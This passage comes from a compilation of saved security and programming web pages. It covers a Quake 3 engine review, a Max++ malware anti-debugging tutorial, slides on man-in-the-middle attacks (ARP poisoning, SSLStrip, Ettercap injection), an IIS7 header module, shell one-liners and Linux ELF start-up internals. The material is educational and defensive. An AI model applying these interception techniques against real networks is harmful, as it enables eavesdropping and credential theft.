                IN_Frame()  // Add Win32 joystick and mouse inputs  as event_t to unified event queue.
                {
    	             IN_JoyMove                                    
    	             IN_ActivateMouse
    	             IN_MouseMove
                }
    	        
                Com_Frame
                {
                     // Common code
                     Com_EventLoop    // Pump win32 message, UDP socket and console commands to the queue (sysEvent_t eventQue[256]) 
                     Cbuf_Execute
                     
                     // Server code
                     SV_Frame
                     {
                         SV_BotFrame                                 // Jump in bot.lib
                         VM_Call( gvm, GAME_RUN_FRAME, svs.time )    // Jump in Game Virtual Machine where game logic is performed
                         
                         SV_CheckTimeouts
                         SV_SendClientMessages                       // Send snapshot or delta snapshot to connected clients
                     } 
                     
                     // Common code
                     Com_EventLoop
                     Cbuf_Execute
                      
                     // Client code
                     CL_Frame
                     {
                         CL_SendCmd                                 // Pump the event queue and send commands to server.
                         
                         SCR_UpdateScreen
                            VM_Call( cgvm, CG_DRAW_ACTIVE_FRAME);   // Send message to the Client Virtual Machine (do Predictions).
                                 or
                            VM_Call( uivm, UI_DRAW_CONNECT_SCREEN); // If a menu is visible a message is sent to the UI Virtual Machine.
                         
                         S_Update                                   // Update sound buffers
                     }
                }
                
            }
        }
    
    
[/code]

Here is a fully unrolled loop that I used a a map while digging into the
source code.  
  
An interesting thing to notice here that perfectly illustrates how paramount
the virtual machines are: Nowhere we see a call to `RE_RenderScene`: the
function that performs culling and issue OpenGL commands. Instead what happen
is:  

  1. Quake3.exe sends a message to the Client VM: `CG_DRAW_ACTIVE_FRAME` which signal that a refresh is needed.
  2. The Virtual Machine performs some entity culling and prediction then call for OpenGL rendition via a Quake3 system call \(`CG_R_RENDERSCENE`\).
  3. Quake3.exe receives the system call and actually calls `RE_RenderScene`.

[code]

    
        OpenGL                Quake3.exe                                 Client Virtual machine
       --------               ----------                                ----------------------
          |                        |                                                |
          |                        |                                                |
          |                   VM_Call(CG_DRAW_ACTIVE_FRAME)----------------->  CG_DrawActiveFrame
          |                        |                                           CG_DrawActive
          |                        |                                           trap_R_RenderScene
          |                        |                                           syscall( CG_R_RENDERSCENE, fd )
          |                   RE_RenderScene <--------------------------------------|
          |                        |                                                |
          | <----------------------|                                                |
          |                        |                                                |
          
                  
    
[/code]

  

### Statistics

Here are some stats from cloc:  

[code]

        -----------------------------------------------------------------------------------------------
                                                     files          blank        comment           code
        -----------------------------------------------------------------------------------------------
        cloc-1.56.exe code common                     559          48630          73501          233952
        cloc-1.56.exe lcc                             116           2270           1513           28067
        cloc-1.56.exe q3asm q3map                      44           4987           5565           22877
        cloc-1.56.exe q3radiant                       206          11870          13113           54922
        -----------------------------------------------------------------------------------------------
        TOTAL                                         919          68293          95509          341994
        -----------------------------------------------------------------------------------------------
    
    
[/code]

  
On a pie chart we can vividly see how unusual the proportion are since 30% of
the codebase is dedicated to tools:  
  
<img src='img/Temp2_6547.jpg' />

  
This is explained partly because idtech3 features a ANSI C compiler: The open
source Little C Compiler \(LCC\) is used to generate bytecode for the virtual
machines.

  

### Memory allocation

Two custom allocators at work here:

  * Zone Allocator: Responsible for runtime,small and short-term memory allocations.
  * Hunk Allocator: Responsible for on level load, big and long-term allocations from the pak files \(geometry,map, textures, animations\).

  

### A Better tomorrow

With this code review it seems I ran out of great 3D engine source code to
read. But many great things are on the way in the CG world. I am especially
looking forward the Occulus Rift VR kits:  
  
<img src='img/Temp2_6548.jpg' />  
  
<img src='img/Temp2_6549.jpg' />  
  
Building ,coding and  understanding the testbed will be a lot of fun. It
should arrive in late July so until then: Happy Hacking \!

### Recommended readings

Masters of Doom for history.  
The two best compiler books to understand fully the Quake Virtual Machines.  
A paper to understand LCC Intermediate Representation  
  
<img src='img/Temp2_6550.jpg' /> <img src='img/Temp2_6552.jpg' /> <img
src='img/Temp2_6553.jpg' /> <img src='img/Temp2_6551.jpg' />

### Next part

The Rendition Model

# Dr. Fu's Security Blog: Malware Analysis Tutorial 5: Int2d Anti-Debugging
Trick \(Part III\)

**Created:**| _1/3/2012 4:17:47 PM_  
---|---  
**Updated:**| _1/3/2012 4:17:47 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis Tutorials_  
  

### Malware Analysis Tutorial 5: Int2d Anti-Debugging Trick \(Part III\)

**Learning Goals** :  
  

  1. Apply the techniques presented in Tutorials 3 and 4 to analyzing Max++ anti-debugging trick.
  2. Practice reverse engineering/interpretation of Intel x86 assembly.

**Applicable to:**  

  1. Computer Architecture
  2. Operating Systems Security
  3. Software Engineering 

  
**Challenge of the Day:**  

  1. Write a Python snippet for Immunity Debugger that executes Max++ and generates a log message for each INT 2D instruction executed.

**_1\. Introduction_**  
  
\[**_Lab Configuration:_** we assume that you are running the VM instance
using **NON-DEBUG** mode. We will use the Immunity Debugger in this
tutorial.\]  
  
We now revisit Max++ and apply the knowledge we have obtained in Tutorial 3
and Tutorial 4. Figure 1 presents the disassembly of the first 20 instructions
of Max++. The entry point is 0x00403BC8. Execute the code step by step until
you reach 0x403BD5, now you are facing your first challenge: **__How do you
deal with the INT 2D instruction?__**  
  
There are several choices you could take: \(1\) Simply press F8 and IMM will
SKIP the RETN instruction and directly jumps to **_0x413BD8_** \(by executing
the CALL 0x413BD8 instruction right after the RETN instruction\); \(2\)
Execute the RETN instruction by readjusting the EIP register to enforce its
execution. In IMM, you can readjust the value of EIP by launching the Python
window \(clicking the 2nd button on the toolbar, on the right of the
"open\_file" button\), and then executing the following Python command:
"**imm.setReg\( "EIP", 0x00413BD7\);**".  
  
<img src='img/Temp2_2418.jpg' />  
---  
Figure 1. Entry Point of Max++  
  
Which action to take will depend on the behavior of IMM -- if we press F8,
will its behavior be the same as running the program without any debuggers
attached? Following a similar approach taken in Tutorial 4 we can do an
experiment for the case of EAX=1 \(i.e., calling the debug print service of
INT 2D\). The conclusion is:  
  
**_When the DEBUG-MODE is NOT enabled at booting, the behavior of IMM is the
same as regular execution, given EAX=1 \(note that in tutorial 4, our
experiments explore the case when EAX=0\). Hence, we can feel safe about
stepping over \(and skipping the RETN instruction\) in IMM\!_**  
  
**_2.Diverting Control Flow using Int 2D_**  
  
As shown in Figure 2, now we are at 0x00413A38. In this function, we only have
four instructions: **STD** , **MOV EDI, EDI** , **CALL 0x00413BB4** , and
**IRETD**.  
  
The purpose of the **STD** instruction is to set the growth direction of EDI
\(i.e., direction flag\) to -1. EDI/ESI registers are frequently used in RAM
copy instructions such as "REP STOSB" \(to repeatedly copy from memory address
pointed by ESI to the destination address pointed by EDI\). Later we'll see
the use of these instructions in the decoding of encrypted malicious code in
Max++.  
  
The MOV EDI,EDI instruction does nothing \(no impacts on any flag registers\)
and then we are calling the function at 0x00413BB4.  
  
  
Note that it looks like once we are back from 0x00413BB4, the next immediate
instruction is to return \(IRETD\), however, it is not the case. Function
0x413BB4 will retrieve a section of encrypted code, decrypt them, and deploy
it from the location of IRETD. So if a static analysis tool is used to analyze
the program, e.g., draw the control flow graph of Max++, it will mislead the
malware analyzers. We'll get to the decoding function in the next tutorial.  
  
<img src='img/Temp2_2417.jpg' />  
---  
Figure 2. Function 0x413A38  
  
Press "**F7** " to step into Function 0x00413BB4. Now we are getting to the
interesting point. Look at instruction **CALL 0x00413BB9** at **0x413BB4** in
Figure 3\!  
  
The CALL instruction basically does two things: \(1\) it pushes the address of
the next instruction to the stack \(so when the callee returns, the execution
will resume at the next instruction\); If you observe the stack content \(the
pane on the right-bottom on IMM\), you will notice that **0x413BB9** is pushed
into stack. \(2\) It then jumps to the entry address of the function, which is
**0x00413BB9**.  
  
Now the next two instructions is to call the INT 2D service. Notice that the
input parameter EAX is 3 \(standing for the load image service\). Using an
approach similar to Tutorial 4, you can design an experiment to tell what is
the next action you would take. The conclusion is: when EAX is 3, in the non-
kernel-debug mode, the IMM behavior is the same as normal execution, which is:
**the next immediate byte instruction after INT 2D will be skipped**.  
  
**Now, what if the RETN instruction is executed \(i.e., the byte instruction
is not skipped, assume that an automatic analyzer does not do a good job at
handling INT 2D\)**? You will jump directly and return. The trick is as
follows: Recall that RETN takes out the top element in stack and jump to that
address. The top element in stack is now 0x00413BB9. So what happens is that
the execution comes back to 0x00413BB9 again. Then doing the INT 2D again and
RETN again will force the execution to 0x00413A40 \(the IRETD instruction,
which is right after the CALL 0X00413BB4 in function 0x00413A38 \(see Figure
2\)\). It then returns to the main program and exits. So the other malicious
activities will not be performed in this scenario. To this point, you can see
the purpose of the int 2d trick: the malware author is trying to evade
automatic analysis tools \(if they did not handle int 2dh well\) and certain
kernel debuggers such as WinDbg.  
  
_**Challenge of the day: use WinDbg instead of Immunity Debugger to debug
through Max++ \(with DEBUG-MODE enabled at booting\). What is your
observation**_?  
  
  
<img src='img/Temp2_2416.jpg' />  
---  
Figure 3. Trick: Infinite Loop of Call  
  
  
_**3\. Conclusion**_  
We have shown you several examples of the use of INT 2D in Max++ to detect the
existence of debugger and change malware behavior to avoid being analyzed by a
debugger. For debugger to cope with INT 2D automatically will not be an easy
job. First, there are many scenarios to deal with \(affected by the type of
debugger, existence of kernel debugger, and the booting options\). Second,
don't expect to catch all INT 2D instructions when the program is loaded,
because a program can be self-extracting \(modifying its code segment at run
time\).  
  
**4\. Challenge of the Day**  
It is beneficial to write a **Python script** that drives the Immunity
Debugger to cope with INT 2D automatically. We provide some basic ideas here:  
  
In IMM, there is a global variable "imm" for you to drive the debugger. You
can use "imm" to inspect all register values, set all register values \(thus
including modifying EIP to change control flow\), examine and modify RAM. Your
program will be a simple loop, which executes instructions one by one \(to do
this, you can take advantage of breakpoint functions available in the Python
API of IMM\). Before executing an instruction, you can examine its opcode
\(using libanalyze.opcode, check the IMM documentation\), and take proper
actions for INT 2D \(skipping the next byte based on the value of EAX, to
simulate a normal non-debug environment\).

# New School Man-in-the-Middle

**Created:**| _5/22/2009 3:41:34 PM_  
---|---  
**Updated:**| _5/22/2009 3:42:33 PM_  
**Author:**| __  
**Tags:**| _security tools security Hacks_  
  

## New School Man-in-the-Middle - Presentation Transcript

  1. New School Man-IN-THe-Middle Tom Eston SECURITY JUSTICE www.securityjustice.com
  2. Man-In-The-Middle • What is this MITM you speak of? • Old school classics • New school tools • Why use it for pentests? • How to defend?
  3. What is a MITM? • Redirect all trafﬁc to YOU while allowing normal Internet access for the victim\(s\) • Modify, intercept and capture network trafﬁc • Create DoS
  4. Setting up your Monkey • Traditional ARP Cache Poisoning The MITM becomes the “router” • KARMA on the Fon \(WiFi Attack\) Karma brings you the victim
  5. ARP Refresher • ARP \(Address Resolution Protocol\) • How devices associate MAC to IP ARP Request Computer A asks “Who has this IP?” ARP Reply Computer B tells A “That’s me\! I have this MAC\!” Reverse ARP Request Same as ARP request by Computer A asks “Who has this MAC?” Reverse ARP Reply Computer B tells A “I have that MAC, here is my IP\!”
  6. ARP Cache Poisoning • Send fake ARP Reply’s to your victim\(s\) • Allows snifﬁng on switched networks • Hijacking of IP trafﬁc between hosts
  7. KARMA on the Fon • The “evil twin” KARMA listens and responds to all\! • KARMA on the Fon Route wireless trafﬁc to YOU\!
  8. Attacking wireless clients with Karma on the Fon http://dimitar.me/?p=277
  9. Old School MITM Tools
  10. Wireshark • Popular network sniffer • Easy to use • Easy capture of data • Robust ﬁltering • Multi-platform \(you probably have it\)
  11. Ettercap • Used for ﬁltering, hijacking, ARP cache poisoning and snifﬁng • GUI, cmd, ncurses\! Multi-platform • Cool ﬁlters and plugins.... • Inject HTML into existing web pages\! Meterpreter payload anyone? • DNS Spooﬁng \(phantom plugin\) • Many more...
  12. Cain • Able is a separate program used to conduct remote activities \(NT hash dump, console\) • Multi-functional “password recovery” tool • Password cracking, scanning, snifﬁng, ARP poisoning and many related attacks \(DNS, HTTPS, POP3S, RDP, etc...\) • Much, much more\! • Windows only
  13. New School Tools
  14. Network Miner • Passive network sniffer/packet capture tool • Detect OS, sessions, hostnames, open ports, etc... • Easy view of usernames and passwords • Parse PCAP ﬁles, search via keywords • Can reassemble ﬁles and certs from PCAP ﬁles • Windows only
  15. The Middler • Created by Jay Beale and Justin Searle \(Inguardians\) • Alpha version released at ShmooCon 2009 • Ability to inject Javascript into cleartext trafﬁc • Clone sessions for the attacker \(CSRF\) • Intercept logout requests • Plugin Architecture • Highlights problem of sites using mixed HTTP/ HTTPS
  16. SSLStrip • Created by Moxie Marlinspike, released at BlackHat DC 2009 • Transparently hijack HTTP trafﬁc on a network • Switches all HTTPS links to HTTP and swaps the user to an insecure look-alike page • Server thinks everything is “a-ok\!’ and no SSL cert “warning” • Supports modes for: • supplying a favicon which looks like a lock • selective logging and session denial
  17. SSLStrip Demo
  18. Why use MITM in a Pentest? • Allows more focus on the USERS • Are they aware of HTTP vs. HTTPS? • Highlight insecure protocols \(Telnet, Basic HTTP Auth\) • Hint: Save PCAP ﬁles and run them through multiple tools\! \(thanks Mubix\)
  19. ARP Poisoning Defense • Monitoring Tools ArpON Arpwatch • Static IP’s/Static ARP Tables \(not sustainable\!\) • Turn on “port security” in your switches\! • Check out Dynamic ARP Inspection \(Cisco DAI\)
  20. MITM Defense • User education \(hard\) • Use a VPN, SSH Tunnel on insecure networks \(coffee shops, DEFCON\) • Encourage employees to use the VPN when using public wiﬁ\!
  21. Linkage: spylogic.net
  22. Questions? Twitter: agent0x0 Web: spylogic.net Email: tom@spylogic.net

# Security-Shell: IIS7 Header Block Released

**Created:**| _5/15/2011 7:49:51 PM_  
---|---  
**Updated:**| _5/15/2011 7:53:34 PM_  
**Author:**| __  
**Tags:**| _reversing web Microsoft_  
  

### IIS7 Header Block Released

Context Information Security have released a module for IIS 7 to block
information leakage from HTTP headers. A standard web application penetration
test recommends the removal of any version number information. Previously the
IIS urlscan tool could be used to block this information, however, for IIS 7
this is no longer possible, therefore Context have released this module to
block this information.  
  
HTTP headers are name/value sets of data that are transmitted between the
client \(web browser\) and the web server. HTTP headers are used to transmit
key data such as HTTP cookies.Excessive HTTP headers can aid an attacker by
either identifying particular technologies used within a web application or
presenting specific software version information. Whilst minimising the attack
surface by preventing information leakage is not a panacea it is a step
towards improving security.With the introduction of new Microsoft frameworks
such as ASP.Net and MVC it appears that the number of HTTP headers returned by
the IIS web server is increasing. An example of these headers is shown below:  
  
Server: Microsoft-IIS/7.5  
X-AspNetMvc-Version: 2.0  
X-AspNet-Version: 4.0.30319  
X-Powered-By: ASP.NET  
  
Download and more info: http://www.contextis.co.uk

# Quark : A Web Browser with a Formally Verified Kernel

**Created:**| _9/8/2013 4:59:57 PM_  
---|---  
**Updated:**| _9/8/2013 4:59:57 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification browser_  
  

# **A** Web Browser with a Formally Verified Kernel****

Web browsers mediate access to valuable private data in domains ranging from
health care to banking**.** Despite this critical role, attackers routinely
exploit browser vulnerabilities to exfiltrate private data and take over the
underlying system**.** We present **Quark** , a browser whose kernel has been
implemented and verified in the Coq proof assistant **.** We give a
specification of our kernel, show that the implementation satisfies the
specification, and finally show that the specification implies several
security properties, including tab non-interference, cookie integrity and
confidentiality, and address bar integrity**.**

Our Web browser, Quark, exploits formal verification and enables us to verify
security properties for a million lines of code while reasoning about only a
few hundreds**.** To achieve this goal, Quark is structured similarly to
Google Chrome**.** It consists of a small browser kernel which mediates access
to system resources for all other browser components**.** These other
components run in sandboxes which only allow the component to communicate with
the kernel**.** In this way, Quark is able to make strong guarantees about a
million lines of code \(e**.** g**.** , the renderer, JavaScript
implementation, JPEG decoders, etc**.**\) while only using a proof assistant
to reason about a few hundred lines of code for the Quark kernel**.** Because
the underlying system is protected from Quark's untrusted components \(i**.**
e**.** , everything other than the kernel\) we were free to adopt state-of-
the-art implementations and thus Quark is able to run popular, complex Web
sites like Facebook and GMail**.**

****

# Command Line Kung Fu: Episode \#20: Ping Beep of Death

**Created:**| _5/16/2009 10:31:18 AM_  
---|---  
**Updated:**| _5/16/2009 10:31:21 AM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

### Episode \#20: Ping Beep of Death

Ed says:  
  
Paul threw down a challenge to Hal and me in e-mail just a few minutes ago:  
  

> "I want a string of commands that will ping a host and for each time a
> packet is missing \(i.e. timeout\) send a beep to the console."
  
  
The solution to this one in Windows includes some useful constructs, so let's
have at it with this fu:  
  

[code]

    C:\> for /L %i in (1,0,2) do @(ping -n 1 HostIPaddr || echo ^G)  
    & ping -n 2 127.0.0.1  
    
    
[/code]

This command starts out with a FOR /L loop, set with an iterator variable of
%i that I won't use, counting from 1 to 2 in steps of 0. In other words, it'll
run forever, or until someone kills it. At each iteration through the loop, I
turn off command echo \(@\), and ping the target host one time \(ping -n 1\).
Pretty pedestrian so far.  
  
Now we get to some interesting stuff. If the ping command fails to get a
response, I'll have it run the echo command to make a beep. As we've seen in
earlier episodes, we can use cmd1 && cmd2 to make the shell run cmd2 only if
cmd1 succeeded. Likewise, we can use cmd1 || cmd2 to make the system run cmd2
only if cmd1 fails. This is more efficient than checking the %errorlevel%
environment variable with an IF statement, but I digress. Of course, as always
cmd1 & cmd2 means run cmd2 regardless of the success or failure of cmd1.  
  
If the ping fails, we have "echo ^G". Note that it looks like I typed Shift-6
G, but I didn't. That little ^G is created by holding down the CTRL key and
hitting G. It's just displayed like ^G. It's how we can make the echo command
ring the system beep. After this, I simply introduce a 1-second delay by
pinging localhost twice \(first ping instantly, second ping one second
later\). So, there you have it.  
  
BTW, if you want prettier output from this, you can dump various Standard
Output to nul as follows:  
  

[code]

    C:\> for /L %i in (1,0,2) do @(ping -n 1 HostIPaddr > nul || echo ^G)  
    & ping -n 2 127.0.0.1 > nul  
    
    
[/code]

  
  
Hal Chimes In:  
  
We can easily do the Unix equivalent of what Ed's doing in the Windows command
shell:  
  

[code]

    $ **while :; do ping -c 1 -w 1 HostIPaddr >/dev/null || echo -e \\a; sleep 2; done**
    
[/code]

  
Note the "echo -e \\\a" syntax for emitting an "alert" \(^G or BEL\).  
  
However, in its default mode the standard Unix ping command will run
continuously. So it seems like you should be able to get some joy just by
piping the output of ping into another command, without having to resort to a
loop. Mr. Bucket had the clever idea of filtering the output of ping through
awk and then sending the resulting misses to the "say" command on his OS X
machine \(because talking is much cooler than beeping\):  
  

[code]

    $ **ping x.x.x.x 2> &1 | awk -F: '/sendto:/ {print $3}' | say**
    
[/code]

  
The above command seems like it should work, but it wasn't bringing the noise.
A confused Mr. Bucket emailed me for clarification.  
  
What's happening here is that Mr. Bucket's clever idea is getting kneecapped
by the standard buffering behavior of shell pipes. If you run that first ping
command by itself and have the output go to your terminal, then you see the
results of each ICMP packet, one line at a time. However, the minute you pipe
the output of the ping command into another command, the shell switches to
_page buffering_ the output between the two commands. In other words, the awk
command gets the output of the ping command in 4096 byte chunks, and the
output of awk has to fill up 4096 bytes before the "say" command gets
anything. If Mr. Bucket had let the command run long enough, eventually he
would have gotten a burst of talking from the "say" command, but only long
after the actual failed ping events.  
  
Unfortunately, there is no magic shell variable you can set to fix this
problem globally. However, applications in the Unix environment can force
their output to be unbuffered if the application developer chooses to add this
functionality to their program. Sometimes the software does this
automatically-- the tee program in most Unix environments unbuffers its output
by default \(using setvbuf\(3\)\). Sometimes you need to add an extra command-
line option, like with the awk command on my Ubuntu system \(which is really
mawk\):  
  

[code]

    $ **ping x.x.x.x 2> &1 | awk -W interactive -F: '/sendto:/ {print $3}' | ...**
    
[/code]

  
That'll get you line-buffered output that you can pipe into another program.
The GNU grep utility has the "--line-buffered" option, which is similar.  
  
Paul Chimes In:  
  
I have to confess, I really thought this would be something pretty easy. The
page buffering thing threw me through a loop too \(pun intended\). I also
discovered a much better way to do this in OS X:  
  

[code]

    $ **ping -A 192.168.1.1**
    
[/code]

  
  
This command will beep \(ASCII 0x07\) "when no packet is received before the
next packet is transmitted." so says the man pages. This is exactly what I was
looking for to monitor hosts while I scan them with various security tools
\(like Nessus\) and alert me if they crash or become unresponsive.

# ʻpyREticʼ – In memory reverse engineering for obfuscated Python bytecode

**Created:**| _8/13/2010 11:48:11 AM_  
---|---  
**Updated:**| _8/13/2010 11:48:28 AM_  
**Author:**| __  
**Tags:**| _python papers reversing_  
  
<img src='img/Temp2_10804' />

# Linux x86 Program Start Up

**Created:**| _7/3/2012 7:51:11 PM_  
---|---  
**Updated:**| _7/3/2012 7:51:11 PM_  
**Author:**| __  
**Tags:**| _Linux boot-process init_  
  

# Linux x86 Program Start Up

##  or - How the heck do we get to main\(\)?

## by Patrick Horgan

\(Back to debugging.\)

## Who's this for?

This is for people who want to understand how programs get loaded under linux.
In particular it talks about dynamically loaded x86 ELF files. The information
you learn will let you understand how to debug problems that occur in your
program before main starts up. Everything I tell you is true, but some things
will be glossed over since they don't take us toward our goal. Further, if you
link statically, some of the details will be different. I won't cover that at
all. By the time you're done with this though, you'll know enough to figure
that out for yourself if you need to.

## This is what we'll cover \(pretty picture brought to you by **dot** \-
filter for drawing directed graphs\)

<img src='img/Temp2_4941.png' alt='image of the callgraph for all the routines
involved in program startup on linux' />

When we're done, you'll understand this.

## How did we get to main?

We're going to build the simplest C program possible, an empty main, and then
we're going to look at the disassembly of it to see how we get to main. We'll
see that the first thing that's run is a function linked to every program
named \_start which eventually leads to your program's main being run.

int main\(\) \{ \}

Save a copy of this as prog1.c if you want, and follow along. The first thing
I'll do is to build it like this.

gcc -ggdb -o prog1 prog1.c

Before we try to debug a later version of this \(prog2\), in gdb, we're going
to look at the disassembly of it and learn a few things about how our program
starts up. I'm going to show the output of objdump -d prog1, but I'm not going
to show it in the order it would be dumped by objdump, but rather in the order
it would be executed. \(But you're perfectly welcome to dump it yourself.
Something like objdump -d prog1 >prog1.dump will save a copy for you, and then
you can use your favorite editor to look at it. \(But RMUVI - Real Men Use
VI;\)

### But first, how do we get to \_start?

When you run a program, the shell or gui calls execve\(\) which executes the
linux system call execve\(\). If you want more information about execve\(\)
then you can simply type man execve from your shell. It will come from section
2 of man where all the system calls are. To summarize, it will set up a stack
for you, and push onto it argc, argv, and envp. The file descriptions 0, 1,
and 2, \(stdin, stdout, stderr\), are left to whatever the shell set them to.
The loader does much work for you setting up your relocations, and as we'll
see much later, calling your preinitializers. When everything is ready,
control is handed to your program by calling \_start\(\) Here from objdump -d
prog1 is the section with \_start.

### \_start is, oddly enough, where we start

080482e0 <\_start>: 80482e0: 31 ed xor %ebp,%ebp 80482e2: 5e pop %esi 80482e3:
89 e1 mov %esp,%ecx 80482e5: 83 e4 f0 and $0xfffffff0,%esp 80482e8: 50 push
%eax 80482e9: 54 push %esp 80482ea: 52 push %edx 80482eb: 68 00 84 04 08 push
$0x8048400 80482f0: 68 a0 83 04 08 push $0x80483a0 80482f5: 51 push %ecx
80482f6: 56 push %esi 80482f7: 68 94 83 04 08 push $0x8048394 80482fc: e8 c3
ff ff ff call 80482c4 <\_\_libc\_start\_main@plt> 8048301: f4 hlt

xor of anything with itself sets it to zero. so the xor %ebp,%ebp sets %ebp to
zero. This is suggested by the ABI \(Application Binary Interface
specification\), to mark the outermost frame. Next we pop off the top of the
stack. On entry we have argc, argv and envp on the stack, so the pop makes
argc go into %esi. We're just going to save it and push it back on the stack
in a minute. Since we popped off argc, %esp is now pointing at argv. The mov
puts argv into %ecx without moving the stack pointer. Then we and the stack
pointer with a mask that clears off the bottom four bits. Depending on where
the stack pointer was it will move it lower, by 0 to 15 bytes. In any case it
will make it aligned on an even multiple of 16 bytes. This alignment is done
so that all of the stack variables are likely to be nicely aligned for memory
and cache efficiency, in particular, this is required for SSE \(Streaming SIMD
Extensions\), instructions that can work on vectors of single precision
floating point simultaneously. In a particular run, the %esp was 0xbffff770 on
entry to \_start. After we popped argc off the stack, %esp was 0xbffff774. It
moved up to a higher address \(putting things on the stack moves down in
memory, taking things off moves up in memory\). After the and the stack
pointer is back at 0xbffff770.

### Now set up for calling \_\_libc\_start\_main

So now we start pushing arguments for \_\_libc\_start\_main onto the stack.
The first one, %eax is garbage pushed onto the stack just because 7 things are
going to be pushed on the stack and they needed an 8th one to keep the 16-byte
alignment. It's never used for anything. \_\_libc\_start\_main is linked in
from glibc. In the source tree for glibc, it lives in csu/libc-start.c.
\_\_libc\_start\_main is specified like

int \_\_libc\_start\_main\( int \(\*main\) \(int, char \* \*, char \* \*\),
int argc, char \* \* ubp\_av, void \(\*init\) \(void\), void \(\*fini\)
\(void\), void \(\*rtld\_fini\) \(void\), void \(\* stack\_end\)\);

So we expect \_start to push those arguments on the stack in reverse order
before the call to \_\_libc\_start\_main.

Stack contents just before call of \_\_libc\_start\_mainvalue|
\_\_libc\_start\_main arg| content  
---|---|---  
$eax| Don't know.| Don't care.  
%esp| void \(\*stack\_end\)| Our aligned stack pointer.  
%edx| void \(\*rtld\_fini\)\(void\)| Destructor of dynamic linker from loader
passed in %edx.  
Registered by \_\_libc\_start\_main with \_\_cxat\_exit\(\)  
to call the FINI for dynamic libraries that got loaded before us.  
0x8048400| void \(\*fini\)\(void\)| \_\_libc\_csu\_fini - Destructor of this
program.  
Registered by \_\_libc\_start\_main with \_\_cxat\_exit\(\).  
0x80483a0| void \(\*init\)\(void\)| \_\_libc\_csu\_init, Constructor of this
program.  
Called by \_\_libc\_start\_main before main.  
%ecx| char \*\*ubp\_av| argv off of the stack.  
%esi| arcg| argc off of the stack.  
0x8048394| int\(\*main\)\(int, char\*\*,char\*\*\)| main of our program called
by \_\_libc\_start\_main.  
Return value of main is passed to exit\(\) which terminates our program.  
\_\_libc\_csu\_fini is linked into our code from glibc, and lives in the
source tree in csu/elf-init.c. It's our program's C level destructor, and I'll
look at it later in the white paper.

### Hey\! Where's the environment variables?

void \_\_libc\_init\_first\(int argc, char \*arg0, ...\) \{ char \*\*argv =
&arg0, \*\*envp = &argv\[argc + 1\]; \_\_environ = envp; \_\_libc\_init
\(argc, argv, envp\); \}

Did you notice that we didn't get envp, the pointer to our environment
variables off the stack? It's not one of the arguments to
\_\_libc\_start\_main, either. But we know that main is called int main\(int
argc, char\*\* argv, char\*\* envp\) so what's up?

Well, \_\_libc\_start\_main calls \_\_libc\_init\_first, who immediately uses
secret inside information to find the environment variables just after the
terminating null of the argument vector and then sets a global variable
\_\_environ which \_\_libc\_start\_main uses thereafter whenever it needs it
including when it calls main. After the envp is established, then
\_\_libc\_start\_main uses the same trick and _surprise\!_ Just past the
terminating null at the end of the envp array, there's _another_ vector, the
ELF auxiliary vector the loader uses to pass some information to the process.
An easy way to see what's in there is to set the environment variable
LD\_SHOW\_AUXV=1 before running the program. Here's the result for our prog1.

$ LD\_SHOW\_AUXV=1 ./prog1 AT\_SYSINFO: 0xe62414 AT\_SYSINFO\_EHDR: 0xe62000
AT\_HWCAP: fpu vme de pse tsc msr pae mce cx8 apic mtrr pge mca cmov pat pse36
clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe AT\_PAGESZ: 4096 AT\_CLKTCK:
100 AT\_PHDR: 0x8048034 AT\_PHENT: 32 AT\_PHNUM: 8 AT\_BASE: 0x686000
AT\_FLAGS: 0x0 AT\_ENTRY: 0x80482e0 AT\_UID: 1002 AT\_EUID: 1002 AT\_GID: 1000
AT\_EGID: 1000 AT\_SECURE: 0 AT\_RANDOM: 0xbff09acb AT\_EXECFN: ./prog1
AT\_PLATFORM: i686

Isn't that interesting. All sorts of information. The AT\_ENTRY is the address
of \_start, there's our userid, our effective userid, and our groupid. We know
we're a 686, times\(\) frequency is 100, clock-ticks/s? I'll have to
investigate this. The AT\_PHDR is the location of the ELF program header that
has information about the location of all the segments of the program in
memory and about relocation entries, and anything else a loader needs to know.
AT\_PHENT is just the number of bytes in a header entry. We won't chase down
this path just now, since we don't need _that_ much information about the
loading of a file to be an effective program debugger.

### \_\_libc\_start\_main in general

That's about as much as I'm going to get into the nitty-gritty details of how
\_\_libc\_start\_main, but in general, it

  * Takes care of some security problems with setuid setgid programs
  * Starts up threading
  * Registers the fini \(our program\), and rtld\_fini \(run-time loader\) arguments to get run by at\_exit to run the program's and the loader's cleanup routines
  * Calls the init argument
  * Calls the main with the argc and argv arguments passed to it and with the global \_\_environ argument as detailed above.
  * Calls exit with the return value of main

### Calling the init argument

The init argument, to \_\_libc\_start\_main, is set to \_\_libc\_csu\_init
which is also linked into our code. It's compiled from a C program which lives
in the glibc source tree in csu/elf-init.c and linked into our program. The C
code is similar to \(but with a lot more \#ifdefs\),

### This is our program's constructor

void \_\_libc\_csu\_init \(int argc, char \*\*argv, char \*\*envp\) \{ \_init
\(\); const size\_t size = \_\_init\_array\_end - \_\_init\_array\_start; for
\(size\_t i = 0; i < size; i++\) \(\*\_\_init\_array\_start \[i\]\) \(argc,
argv, envp\); \}

It's pretty important to our program because it's our executable's
constructor. "Wait\!", you say, "This isn't C++\!". Yes that's true, but the
concept of constructors and destructors doesn't belong to C++, and preceeded
C++\! Our executable, and every other executable gets a C level constructor
\_\_libc\_csu\_init and a C level destructor, \_\_libc\_csu\_fini. Inside the
constructor, as you'll see, the executable will look for global C level
constructors and call any that it finds. It's possible for a C program to also
have these, and I'll demonstrate it before this paper is through. If it makes
you more comfortable though, you can call them initializers and finalizers.
Here's the assembler generated for \_\_libc\_csu\_init.

080483a0 <\_\_libc\_csu\_init>: 80483a0: 55 push %ebp 80483a1: 89 e5 mov
%esp,%ebp 80483a3: 57 push %edi 80483a4: 56 push %esi 80483a5: 53 push %ebx
80483a6: e8 5a 00 00 00 call 8048405 <\_\_i686.get\_pc\_thunk.bx> 80483ab: 81
c3 49 1c 00 00 add $0x1c49,%ebx 80483b1: 83 ec 1c sub $0x1c,%esp 80483b4: e8
bb fe ff ff call 8048274 <\_init> 80483b9: 8d bb 20 ff ff ff lea
-0xe0\(%ebx\),%edi 80483bf: 8d 83 20 ff ff ff lea -0xe0\(%ebx\),%eax 80483c5:
29 c7 sub %eax,%edi 80483c7: c1 ff 02 sar $0x2,%edi 80483ca: 85 ff test
%edi,%edi 80483cc: 74 24 je 80483f2 <\_\_libc\_csu\_init+0x52> 80483ce: 31 f6
